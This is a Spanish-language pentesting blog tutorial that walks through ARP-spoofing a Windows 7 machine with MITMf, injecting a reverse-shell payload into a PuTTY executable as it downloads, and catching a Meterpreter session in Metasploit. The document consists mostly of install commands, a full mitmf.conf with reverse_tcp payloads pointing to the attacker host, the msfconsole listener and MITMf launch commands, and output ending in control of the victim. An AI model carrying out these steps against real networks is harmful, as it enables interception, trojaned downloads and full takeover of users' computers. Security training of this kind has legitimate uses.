Pentesting: Modificando binarios con MITMf

Analizar el trafico de la red es una de las labores mas dispendiosas que se nos pueden asignar durante un Pentesting.
La herramienta usual ettercap es la que se usa por defecto para este tipo de auditorias. Pero, ahora tenemos una nueva opción mas moderna y flexible, esta herramienta alternativa es MITMf.

Este framework de explotación viene preparado por defecto para realizar ciertos tipos de ataques, aparte de interceptar trafico nos permite inyectar o modificar paquetes según nos parezca conveniente, lo que nos da mucha flexibilidad a la hora de hacer un pentest.

Cabe recordar que siempre que vayamos a realizar un ataque tipo Man in the middle, Ataque de hombre en medio o ataque de intermediario, debemos estar ubicados en un punto de la red donde podamos acceder al trafico que nos interesa, o al menos al trafico de la maquina que nos interesa atacar.

Preparando el ambiente
En este ejercicio vamos a modificar un binario mientras el usuario lo descarga de un sitio web al azar, cabe anotar que no importa de donde lo descargue o el binario que sea, lo que vamos a hacer es interceptar el trafico, esperar hasta que el usuario descargue algún binario de Internet y ver si podemos añadir nuestro payload en el.

Para el ejemplo usaremos una maquina Windows 7 64 bits con la dirección IP 192.168.1.67, la puerta de enlace es la 192.168.1.254 y nuestra maquina atacante tiene la dirección IP 192.168.1.111. Para efectos prácticos, vamos a descargar putty desde la pagina oficial, así que del lado del servidor web no estaremos tocando nada.

Esquema de ataque
Vamos a interceptar el trafico originado en la maquina 192.168.1.67 y de forma oportunista vamos a infectar cualquier binario que el usuario descargue.

Software requerido

Vamos a usar Kali Linux 2017.1, y por supuesto el framework de explotación MITMf.
MITMf tiene paquetes para Kali, pero la verdad nunca me han funcionado muy bien, por ello sugiero instalar desde github

git clone https://github.com/byt3bl33d3r/MITMf
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
cd MITMf/
git submodule init && git submodule update --recursive
pip install -r requirements.txt

Ahora debemos modificar el archivo config/mitmf.conf y cambiar la dirección IP para que apunte a nuestro host.

root@kali:~/MITMf# nano config/mitmf.conf 

        [[targets]]
                #MAKE SURE that your settings for host and port DO NOT
                # overlap between different types of payloads

                [[[ALL]]] # DEFAULT settings for all targets REQUIRED

                LinuxType = ALL         # choices: x86/x64/ALL/None
                WindowsType = ALL       # choices: x86/x64/ALL/None
                FatPriority = x64   # choices: x86 or x64

                FileSizeMax = 10000000  # ~10 MB (just under) No patching of files this large

                CompressedFiles = True #True/False
                        [[[[LinuxIntelx86]]]]
                        SHELL = reverse_shell_tcp   # This is the BDF syntax
                        HOST = 192.168.1.111            # The C2
                        PORT = 8888
                        SUPPLIED_SHELLCODE = None
                        MSFPAYLOAD = linux/x86/shell_reverse_tcp        # MSF syntax

                        [[[[LinuxIntelx64]]]]
                        SHELL = reverse_shell_tcp
                        HOST = 192.168.1.111
                        PORT = 9999
                        SUPPLIED_SHELLCODE = None
                        MSFPAYLOAD = linux/x64/shell_reverse_tcp

                        [[[[WindowsIntelx86]]]]
                        PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
                        # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
                        PATCH_METHOD = automatic
                        HOST = 192.168.1.111
                        PORT = 8090
                        # SHELL for use with automatic PATCH_METHOD
                        SHELL = iat_reverse_tcp_stager_threaded
                        # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
                        SUPPLIED_SHELLCODE = None
                        ZERO_CERT = True
                        # PATCH_DLLs as they come across
                        PATCH_DLL = False
                        # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
                        RUNAS_ADMIN = False
                        # XP_MODE  - to support XP targets
                        XP_MODE = True
                        # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
                        #  with PATCH_METHOD 'replace' use an EXE not DLL
                        SUPPLIED_BINARY = veil_go_payload.exe
                        MSFPAYLOAD = windows/meterpreter/reverse_tcp

                        [[[[WindowsIntelx64]]]]
                        PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
                        # PATCH_METHOD overwrites PATCH_TYPE, use automatic or onionduke
                        PATCH_METHOD = automatic
                        HOST = 192.168.1.111
                        PORT = 8088
                        # SHELL for use with automatic PATCH_METHOD
                        SHELL = iat_reverse_tcp_stager_threaded
                        # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
                        SUPPLIED_SHELLCODE = None
                        ZERO_CERT = True
                        PATCH_DLL = True
                        # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
                        RUNAS_ADMIN = False
                        # SUPPLIED_BINARY is for use with PATCH_METHOD onionduke DLL/EXE can x86 32bit and
                        #  with PATCH_METHOD 'replace' use an EXE not DLL
                        SUPPLIED_BINARY = pentest_x64_payload.exe
                        MSFPAYLOAD = windows/x64/shell/reverse_tcp

                        [[[[MachoIntelx86]]]]
                        SHELL = reverse_shell_tcp
                        HOST = 192.168.1.111
                        PORT = 4444
                        SUPPLIED_SHELLCODE = None
                        MSFPAYLOAD = linux/x64/shell_reverse_tcp

                        [[[[MachoIntelx64]]]]
                        SHELL = reverse_shell_tcp
                        HOST = 192.168.1.111
                        PORT = 5555
                        SUPPLIED_SHELLCODE = None
                        MSFPAYLOAD = linux/x64/shell_reverse_tcp

En particular nos interesa la parte donde se definen los parámetros para la arquitectura x64, ya que la maquina que vamos a atacar es Windows 7 de 64 bits

                        [[[[WindowsIntelx64]]]]
                        PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
                        # PATCH_METHOD overwrites PATCH_TYPE, use automatic or onionduke
                        PATCH_METHOD = automatic
                        HOST = 192.168.1.111
                        PORT = 8088
                        # SHELL for use with automatic PATCH_METHOD
                        SHELL = iat_reverse_tcp_stager_threaded
                        # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
                        SUPPLIED_SHELLCODE = None
                        ZERO_CERT = True
                        PATCH_DLL = True
                        # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
                        RUNAS_ADMIN = False
                        # SUPPLIED_BINARY is for use with PATCH_METHOD onionduke DLL/EXE can x86 32bit and
                        #  with PATCH_METHOD 'replace' use an EXE not DLL
                        SUPPLIED_BINARY = pentest_x64_payload.exe
                        MSFPAYLOAD = windows/x64/shell/reverse_tcp

Podemos ver que el puerto esta definido como el 8088, debemos tenerlo en cuenta a la hora de lanzar el listener en metasploit.

Nos falta una ultima configuración, para poder que MITMf se comunique con metasploit vamos a hacer uso de msfrpc, por lo que debemos definir el host, la contraseña y el puerto a utilizar, esto se encuentra en el mismo archivo mitmf.conf en la sección metasploit.

        [[Metasploit]]
                rpcip = 127.0.0.1
                rpcport = 55552
                rpcpass = abc123

Vemos que esta definido que metasploit corre en la maquina local, y que para la comunicación RPC vamos a usar el puerto 55552 con la contraseña ‘abc123’

Con esto ya tenemos todo listo, solo nos queda lanzar el ataque.

Preparando el ataque

Para fines prácticos, vamos a lanzar msfconsole pasando todos los parámetros de configuración desde la linea de comandos, antes lo hacíamos con msfcli, pero ya no esta disponible, así que usaremos msfconsole -x.

El comando a ejecutar queda de la siguiente forma

msfconsole -x "load msgrpc Pass=abc123;\
use exploit/multi/handler;\
set PAYLOAD windows/x64/meterpreter/reverse_tcp;\
set LHOST 192.168.1.111;\
set LPORT 8088;\
exploit -j"

Lo que estamos haciendo acá es informar a metasploit que queremos usar msgrpc, cargamos el multi handler para conexiones entrantes, definimos nuestro payload como un shell reverso de 64 bits, definimos nuestro localhost y nos aseguramos de que vamos a usar el puerto requerido por nuestro target, en este caso el 8088, que es el definido en mitmf.conf para Windows de 64 bits.

Finalmente indicamos a metasploit que ejecute el listener.

Del lado de mitmf, el comando a ejecutar quedaría así

python ./mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.254 --target 192.168.1.67 --filepwn

Vamos a hacer uso de los módulos de spoofing y de arp para interceptar el trafico, finalmente procesaremos el trafico con el modulo filepwn.

eth0 es la interfaz de red del equipo atacante, el gateway ya lo teniamos definido como 192.168.1.254 y nuestra victima es la maquina 192.168.1.167.

Estamos listos para lanzar el ataque.

Lanzando el ataque

Finalmente llegamos a la parte mas entretenida del ataque, la ejecución en si, para ello vamos a necesitar dos ventanas de terminal con privilegios de root, en la primera vamos a ejecutar metasploit

root@kali:~# msfconsole -x "load msgrpc Pass=abc123;\
> use exploit/multi/handler;\
> set PAYLOAD windows/x64/meterpreter/reverse_tcp;\
> set LHOST 192.168.1.111;\
> set LPORT 8088;\
> exploit -j"
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.14.15-dev                         ]
+ -- --=[ 1646 exploits - 945 auxiliary - 290 post        ]
+ -- --=[ 486 payloads - 40 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc
PAYLOAD => windows/x64/meterpreter/reverse_tcp
LHOST => 192.168.1.111
LPORT => 8088
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.111:8088 
[*] Starting the payload handler...
msf exploit(handler) > 

En la otra ventana, ejecutamos mitmf


root@kali:~/MITMf# python ./mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.254 --target 192.168.1.67 --filepwn

 ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓  █████▒
▓██▒▀█▀ ██▒▓██▒▓  ██▒ ▓▒▓██▒▀█▀ ██▒▓██   ▒ 
▓██    ▓██░▒██▒▒ ▓██░ ▒░▓██    ▓██░▒████ ░ 
▒██    ▒██ ░██░░ ▓██▓ ░ ▒██    ▒██ ░▓█▒  ░ 
▒██▒   ░██▒░██░  ▒██▒ ░ ▒██▒   ░██▒░▒█░    
░ ▒░   ░  ░░▓    ▒ ░░   ░ ▒░   ░  ░ ▒ ░    
░  ░      ░ ▒ ░    ░    ░  ░      ░ ░      
░      ░    ▒ ░  ░      ░      ░    ░ ░    
       ░    ░                  ░                                                     

[*] MITMf v0.9.8 - 'The Dark Side'
|
|_ Net-Creds v1.0 online
|_ FilePwn v0.3
|  |_ BDFProxy v0.3.2 online
|  |_ Connected to Metasploit v4.14.15-dev
|_ Spoof v0.6
|  |_ ARP spoofing enabled
|_ Sergio-Proxy v0.2.1 online
|_ SSLstrip v0.9 by Moxie Marlinspike online
|
|_ MITMf-API online
 * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
|_ HTTP server online
|_ DNSChef v0.4 online
|_ SMB server online


A partir de este momento, estamos interceptando el trafico de la maquina 192.168.1.67 y podemos modificarlo segun nos convenga.

Veamos que ocurre cuando el usuario de la maquina 192.168.1.67, descarga un archivo ejecutable desde cualquier repositorio.


2017-05-22 16:35:43 192.168.1.67 [type:IE-8 os:Windows 7] the.earth.li
2017-05-22 16:35:43 192.168.1.67 [type:IE-8 os:Windows 7] the.earth.li
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win64 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Adding New Section for updated Import Table
[!] Adding VirtualAlloc Thunk in new IAT
[*] Gathering file info
[*] Checking updated IAT for thunks
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win64 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 55
[*] All caves lengths:  167, 501, 55
[*] Attempting PE File Automatic Patching
[!] Selected: 154: Section Name: .rdata1; Cave begin: 0xc7ef8 End: 0xc80f1; Cave Size: 505; Payload Size: 501
[!] Selected: 132: Section Name: .rdata1; Cave begin: 0xc7872 End: 0xc791d; Cave Size: 171; Payload Size: 167
[!] Selected: 52: Section Name: .reloc; Cave begin: 0xc7344 End: 0xc737f; Cave Size: 59; Payload Size: 55
[*] Changing flags for section: .reloc
[*] Changing flags for section: .rdata1
[*] Patching initial entry instructions
[*] Creating win64 resume execution stub
[*] Looking for and setting selected shellcode
[*] Overwriting certificate table pointer
2017-05-22 16:35:47 192.168.1.67 [type:IE-8 os:Windows 7] [FilePwn] Patching complete, forwarding to user

Podemos observar que el usuario descargo un binario desde the.earth.li, que es la pagina que aloja los binarios de putty, tambien podemos ver que el binario fue infectado con exito y que la version modificada fue enviada al usuario, ahora veamos que ocurre del lado de metasploit cuando el usuario ejecuta el binario infectado

[*] Sending stage (1189423 bytes) to 192.168.1.67
[*] Meterpreter session 1 opened (192.168.1.111:8088 -> 192.168.1.67:50474) at 2017-05-22 16:43:54 -0400

Vemos que se ha creado una session desde la maquina 192.168.1.67 a nuestra maquina 192.168.1.111 justo en el puerto 8088, tal como habiamos definido con LPORT y en el archivo mitmf.conf.

A partir de este momento tenemos control total de la maquina

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                     Information             Connection
  --  ----                     -----------             ----------
  1   meterpreter x64/windows  juan-PC\juan @ JUAN-PC  192.168.1.111:8088 -> 192.168.1.67:50474 (192.168.1.67)

msf exploit(handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : JUAN-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > 

Esta técnica la he usado con éxito en varias ocasiones, es útil cuando no tenemos otra forma de tomar el control si los sistemas no tienen vulnerabilidades aparentes. Pero el poder de MITMf va mucho mas allá, esta es solo una pequeña muestra de las capacidades de MITMF, una herramienta que sin duda debe estar presente en nuestro arsenal.

Finalmente, veamos el asciinema de la ejecución de este ataque

MITMf es una herramienta muy poderosa, después veremos como capturar contraseñas y algunas otras cosas que podemos hacer a la hora de un pentesting.

Saludos 🙂

Deja tu comentario

%d bloggers like this: